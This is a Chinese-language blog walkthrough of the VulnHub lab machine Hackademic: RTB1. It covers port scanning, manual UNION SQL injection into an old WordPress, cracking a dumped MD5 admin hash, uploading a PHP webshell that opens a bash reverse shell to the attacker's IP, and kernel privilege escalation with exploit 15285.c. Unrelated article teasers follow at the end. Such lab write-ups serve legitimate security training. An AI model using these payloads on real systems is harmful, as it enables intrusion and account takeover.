[VulnHub靶机渗透] Hackademic: RTB1

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1 前言

0x2 信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

0x3 渗透测试+信息收集

1、web服务信息收集

2、SQL注入漏洞

一、手工联合注入

二、sqlmap脚本小子

3、上传木马,反弹shell

0x4 提权

1、基本提权+信息收集

2、内核提权

3、成功拿到key.txt


0x1 前言

靶机精讲之Hackademic: RTB1,vulnhub靶机,手动SQL注入,小试牛刀,内核提权。读遍牙签三万轴,欲来小邑试牛刀。

靶机下载地址:

Hackademic: RTB1 ~ VulnHub

0x2 信息收集

1、主机探测

我们首先利用arp进行主机探测,发现靶机的IP地址是10.10.10.134

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# arp-scan -l

2、端口扫描

利用nmap扫描靶机的端口开放情况,发现只开启了80端口,并且22端口ssh服务还被关闭了,那么目前分析,这个靶场利用找到用户名密码然后ssh远程连接的常规思路是不行了的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sS -A -p- 10.10.10.134 

这将扫描目标主机的UDP协议并列出最常见的20个端口的状态,但是目前看没有发现什么有价值的端口。就目前来看,还是80端口的web服务是最为吸引我们的。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap -sU --top-ports 20 10.10.10.134

3、漏洞扫描

--script=vuln是nmap自带的漏洞扫描模块,我们简单的利用nmap扫描下漏洞,

也就是扫描到了几个比较老版本的漏洞,比如CVE-2007-6750、CVE-2011-3192等,但是我都上网查了下这几个漏洞的危害,都是类似ddos的让某个http网站访问不了的功能,对应我们这里渗透测试拿root权限来讲,意义不是很大,感兴趣的师傅可以尝试下。

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# nmap --script=vuln -p80 10.10.10.134

0x3 渗透测试+信息收集

1、web服务信息收集

我们这里直接访问IP地址,访问这个web服务,发现是个静态的HTML页面,上面的英文意思就是让我们拿到root权限,然后拿到root目录下的key.txt文件。

这里是静态的HTML页面,一般渗透测试中包括实战中,碰到都是可以右击查看网页源代码的,

目前没有发现什么有价值的信息。

发现这个可以点击看看

然后老规矩查看网页源代码,

这次有收获,发现这个网站是个wordpress 的CMS框架网站,看着版本是1.5.1.1,应该比较低,可能存在漏洞,那么我们就可以借助Google搜素了。

发现EXP里面确实存在这个版本的wordpress漏洞,并且存在sql注入漏洞,那么我们等会多留意下存在参数的地方,然后手工测一下sql注入。

2、SQL注入漏洞

这个页面存在参数,我们利用单引号' 测试下,发现页面没有报错,说明不存在SQL注入

一、手工联合注入

1、这个页面利用单引号' 测试,页面发生了报错,并且还看到了注入语句:

SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1

2、找到了注入点,那么下一步我们就需要尝试获取数据库到底有多少列,利用order by测试。

一直到5都是页面正常,但是到6 的时候页面发生了报错,说明这个数据库就是5列

1 order by 1,2,3,4,51 order by 1,2,3,4,5,6

3、接下来我们可以用联合查询的方法进行注入,思考SQL查询语句,我们要保证后台执行我们的联合查询union select语句,这里使用1 发现页面没有回显,那么一般我们就要不改大要不然改小点,反正目的就是为了能有数据回显出来。我这里改成了0。

1 union select 1,2,3,4,5

发现回显了个2,那么说明只有第二列才能回显

0 union select 1,2,3,4,5

因为大家可以看到报错的信息,后面有个LIMIT 1,说明只允许回显一列

4、果然没错,我们在第二列这里回显出来了数据库的版本信息以及数据库名"wordpress"

5、那么我们接着需要报后面的更多信息,主要是要拿到比如账号密码之类的信息

这里我们直接利用Google浏览器检索下面的关键字,因为wordpress CMS框架体系非常成熟,像数据库的很多信息都是一体化的,都是可以找到对应的信息的。

但是前提是我们得找到SQL注入的报错点,然后才能进一步的利用这个漏洞。

wordpress database description

找到 Table: wp_users ,里面有关于用户的具体字段数据

6、我们直接利用group_concat()进行读取数据库里面的字段数据,但是发现账号密码都没有分开,看着很乱,我们这里利用ASCII码的0x2d表示换行的意思,来进行数据的分开操作

group_concat()是一个SQL函数,通常用于将多行查询结果合并为一个字符串,以便更容易获取信息

这里需要补充一个字段就是user_level,这里是看红队大佬的笔记

然后我们进行修改下,可以看到GeorgeMiller用户的权限是最高的,我们这里需要进行提权操作,那么肯定首选权限高的用户。

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

二、sqlmap脚本小子

红队大佬说的是一般情况下不使用sqlmap脚本跑,除非没有任何思路了,我们使用手工联合注入可以让我们更加清楚这个底层原理,而不是为了拿到root权限当脚本小子,下面使用sqlmap跑我这里不做太多的说明,跑出数据库来即可,要是想用sqlmap的可以自己尝试下。

sqlmap -u "http://10.10.10.134/Hackademic_RTB1/?cat=0" --dbs --batch

3、上传木马,反弹shell

发现密码是MD5加密的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# hash-identifier "7cbb3252ba6b7e9c422fac5334d22054" 

MD5在线解密网站:

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

解密得到密码是:q1w2e3

登录wordpress后台,像wordpress这种特别成熟的CMS框架,登录页面的目录位置也是固定的

/wp-login.php/目录

你要是不知道,其实这里扫描目录也是可以看到的

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# dirsearch -u http://10.10.10.134/Hackademic_RTB1/ -i 200

输入账号密码GeorgeMiller:q1w2e3即可登录进去了,

像这个wordpress模块的功能也是很熟悉的,因为这个CMS博客框架很普遍了,如果不了解的师傅可以搞个WP博客玩下。

像里面有好几个地方是可以进行漏洞利用的,一个是里面的插件位置,还有一个就是upload文件上传的位置,我们可以上传php木马,然后kali监听,反弹shell。

下面我带师傅们从上传php木马来演示!

1、首先按照下面的顺序点击如下,意思就是允许文件上传,并且允许上传php文件

师傅们要是看不懂,可以用Google翻译下哈,多了解下这个网站的功能点是什么意思,对我们渗透测试很有帮助的!

给大家推荐个写自动化脚本的网站:

Online - Reverse Shell Generator

/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

php木马如下:

<?php exec("/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"); ?>

然后kali进行监听,访问上面的bin.php木马

反弹shell成功了

0x4 提权

1、基本提权+信息收集

一般进入一个用户权限的shell中,一般都会尝试下sudo提权以及SUID提权,还会看历史进程会不会有可以利用的恶意进程,以及history历史命令查看。

2、内核提权

没办法了,一般基本的提权都没用,这里要拿到root权限,那么就必须得尝试下内核提权了。

很多开始学习的师傅们感觉内核提权很简单,调用别人的内核提权脚本直接编译然后执行就可以了,其实实际上并不是的,内核提权是很复杂的,因为需要你从很多脚本中进行筛选,是个细活。

需要渗透测试人员的渗透经验来进行判断。

bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

我们使用searchsploit 工具进行检索过滤,发现还是有很多的脚本需要我们进行筛选

┌──(root💀kali)-[~/桌面/HackademicRTB1]
└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'

这里我看红队笔记大佬提出排查思路,首先排除特定linux操作系统的漏洞,比如Ubuntu/CentOS/RedHat,这些我们都暂不考虑(因为靶机操作系统不是这些),然后尽可能选择版本范围精确的漏洞。

searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' |grep -v 'Ubuntu' |grep -v 'CentOS' |grep -v 'Debian' |grep -v 'RedHat'-v是反向查询,也就是把不需要的关键词过滤掉

其实一看还是蛮多的,这里我们先从最匹配的几个开始下手测试下,

就是10018.sh和15285.c这两个脚本。

其中10018.sh这个脚本我先测试的,发现提权没有成功,但是第二次使用15285.c脚本测试成功提权了

我们先把脚本下载到本地,然后通过http服务上传到靶机的/tmp目录下(这个临时目录的权限比较高)

编译15285.c ,然后再提高权限,然后执行改提权脚本,成功拿到root权限

gcc 15285.c -o 15285
chmod -R 777 15285
./15285

3、成功拿到key.txt

sh-4.0# cat key.txt~
cat key.txt~
Yeah!!
You must be proud becouse you ve got the password to complete the First Reallistic Hackademic Challenge (Hackademic.RTB1) :)$_d&jgQ>>ak\#b"(Hx"o<la_%Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/669547.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

原型模式和建造者模式

1、原型模式 1.1 概念 用一个已经创建的实例作为原型&#xff0c;通过复制该原型对象来创建一个和原型对象相同的新对象。 1.2 结构 原型模式包含如下角色&#xff1a; 抽象原型类&#xff1a;规定了具体原型对象必须实现的的 clone() 方法。 具体原型类&#xff1a;实现抽…

数据结构===二叉树

文章目录 概要二叉树的概念分类存储遍历前序中序后序 小结 概要 简单写下二叉树都有哪些内容&#xff0c;这篇文章要写什么 二叉树的概念分类&#xff0c;都有哪些二叉树遍历 对一个数据结构&#xff0c;最先入手的都是定义&#xff0c;然后才会有哪些分类&#xff0c;对二叉…

【Python】字符串

1. 字符串读取、拼接、匹配、随机生成 2. ‘’.join()连接字符串 3. 使用了random随机函数 4. 字符串列表里面使用判断语句调用函数 1、输入一个字符串,将该字符串中下标为偶数的字符组成新串并通过字符串格式化方式显示。 def get_even_indexed_chars(s):# 使用…

docker Harbor私有仓库部署管理

搭建本地私有仓库&#xff0c;但是本地私有仓库的管理和使用比较麻烦&#xff0c;这个原生的私有仓库并不好用&#xff0c;所以我们采用harbor私有仓库&#xff0c;也叫私服&#xff0c;更加人性化。 一、什么是Harbor Harbor是VWware 公司开源的企业级Docker Registry项…

TypeScript 基础学习笔记:interface 与 type 的异同

TypeScript 学习笔记&#xff1a;interface 与 type 的异同 &#x1f3a3; 引言 在 TypeScript的世界里&#xff0c;精准的类型定义是保证代码质量与团队协作效率的关键。interface 和 type 作为两种核心的类型定义工具&#xff0c;它们各自承载着不同的设计意图与应用场景。本…

分布式与一致性协议之ZAB协议(二)

ZAB协议 ZAB协议是如何实现操作地顺序性的&#xff1f; 如果用一句话解释ZAB协议到底是什么&#xff0c;我觉得它是能保证操作顺序性的、基于主备模式的原子广播协议。 接下来&#xff0c;还是以指令X、Y为例具体演示一下&#xff0c;帮助你更好地理解为什么ZAB协议能实现操作…

解决一个朋友的nbcio-boot的mysql数据库问题

1、原先安装mysql5.7数据库&#xff0c;导入我的项目里的带数据有报错信息 原因不明 2、只能建议用docker进行msyql5.7的安装 如下&#xff0c;可以修改成自己需要的信息 docker run -p 3306:3306 --name mastermysql -v /home/mydata/mysql/data:/var/lib/mysql -e MYSQL_R…

Pycharm安装包numpy和matplotlib安装

环境 python 3.12 Pycharm 2023.1 安装包 创建图表的 numpy 库和 matplotlib 库 安装过程出现的问题 setuptools工具包没有安装 Python packaging tool setuptools not found文件 -> 设置 -> 项目:xxx -> python解释器界面显示不出已安装的软件包&#xff0c;系…

Vue3+.NET6前后端分离式管理后台实战(十七)

1&#xff0c;Vue3.NET6前后端分离式管理后台实战(十七)已经在微信公众号更新&#xff0c;有兴趣的扫码关注一起交流学习。

03 - 步骤 Kafka producer

简介 Kafka producer 步骤&#xff0c;用于将 Kettle 中经过处理或转换的数据发送到 Kafka 的主题中 使用 场景 我需要把经过Kettle处理完的数据发送到一个Kafka中&#xff0c;让后端服务器进行下一步处理。 1、拖拽 Kafka producer 到面板 2、配置 Kafka producer 3、调试…

一、写给Android开发者之harmony入门

一、创建新项目 对比 android-studio&#xff1a;ability类似安卓activity ability分为两种类型(Stage模型) UIAbility和Extensionability&#xff08;提供系统服务和后台任务&#xff09; 启动模式 1、 singleton启动模式&#xff1a;单例 2、 multiton启动模式&#xff1…

TinTin Web3 Bounty 挑战杯第二期再启程,NEAR 生态邀请你来找 Bug!

对 Web3 来说&#xff0c;Bounty 任务应该是普通人获得行业“一杯羹”的重要捷径&#xff01; 通过深入学习各类 Web3 公链技术&#xff0c;凭借实战锻炼开发创新项目&#xff0c;或完善已有网络运行中出现的问题&#xff0c;就有机会更加快速了解其底层技术逻辑&#xff0c;更…